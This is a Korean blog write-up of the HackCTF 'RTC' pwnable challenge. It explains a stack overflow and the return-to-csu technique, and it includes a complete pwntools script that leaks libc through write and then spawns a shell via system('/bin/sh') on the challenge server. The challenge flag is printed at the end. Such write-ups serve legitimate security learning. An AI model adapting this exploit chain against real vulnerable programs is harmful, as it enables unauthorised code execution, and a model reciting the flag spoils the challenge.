[Pwnable] RTC
Wargame/HackCTF

[Pwnable] RTC

진짜 오랜만에 롸업이다

 

사실 문제는 푼 지는 되게 오래됬지만

최근들어 대학은 가야되는데 해킹 공부를 하고 있는게 맞는건가 싶기도 하고

그냥 요즘 들어 마음이 복잡하기도 해서 여태까지 문제는 많이 풀었는데 롸업은 올리지 않았다

 

뭐 사실 최근에 힙 다 까먹어서 다시 정리하고 있기는 한데ㅋㅋ;

 

그냥 오늘은 새벽에 생각 정리도 할려고 롸업을 써보려고 한다

 

아마도 롸업 여러개가 올라갈거 같긴 한데 어짜피 어려운 문제는 아니니까 후딱 써보도록 하자

 

잡담이 길어졌는데 진짜 시작~

 

- Mitigation -

 

main

0x200만큼 받아서 bof 발생 -> rop 가능

 

사용 가능한 함수에 puts가 없어서 rdi 가젯만으로는 libc leak 불가능

 

그러면 read, write로 libc leak을 해야되는데 gadget도 없음

 

그래서 문제 제목처럼 return to csu로 긁어주면 됨

 

https://py0zz1.tistory.com/107

 

Return-to-Csu 기법 정리

포너블 문제를 풀 때, 64Bit 바이너리가 까다로운 이유가 바로 'Gadget' 때문이다. 64Bit의 Calling Convention은 Fastcall로 호출된 함수에 인자를 레지스터로 전달한다. 이 때문에 Exploit을 구성할 때도 [POP R.

py0zz1.tistory.com

 

쉽게 생각하면 그냥 two stage로 생각하면 된다.

 

__libc_csu_init에 있는 pop 가젯들로 레지스터에 값 넣어주기

= stage one

rdx, rsi, edi register에 값 옮겨주면서 function call

= stage two

 

위 기법을 잘 생각하면서 익스를 짜보자

 

from pwn import *

p = remote("ctf.j0n9hyun.xyz", 3025)

e = ELF("./prob")
libc = ELF("./libc.so.6")

stage1 = 0x00000000004006BA
stage2 = 0x00000000004006A0

payload = ""
payload += "A" * 0x40
payload += "B" * 0x8
payload += p64(stage1)
payload += p64(0)
payload += p64(1)
payload += p64(e.got['write'])
payload += p64(8)
payload += p64(e.got['write'])
payload += p64(1)
payload += p64(stage2)
payload += p64(0) * 0x7
payload += p64(e.sym['main'])

p.sendlineafter("\n", payload)

libc_base = u64(p.recv(6).ljust(8,'\x00')) - libc.sym['write']
print hex(libc_base)

system = libc_base + libc.sym['system']
binsh  = libc_base + next(libc.search('/bin/sh\x00'))

payload = ""
payload += "A" * 0x40
payload += "B" * 0x8
payload += p64(0x00000000004006c3)
payload += p64(binsh)
payload += p64(system)

p.sendlineafter('\n', payload)
p.interactive()

 

return to csu로 libc leak 후에 system, binsh로 익스~

 

기법만 잘 알고 있으면 쉬운 문제

FLAG = HackCTF{4ll_r1ght_c5u_1n1t!}

'Wargame > HackCTF' 카테고리의 다른 글

[Pwnable] World Best Encryption Tool  (0) 2021.10.18
[Pwnable] Register  (0) 2021.10.18
[Pwnable] SysROP  (0) 2021.03.08
[pwnable] Look at me  (0) 2021.02.22
[Pwnable] RTL_Core  (0) 2021.02.07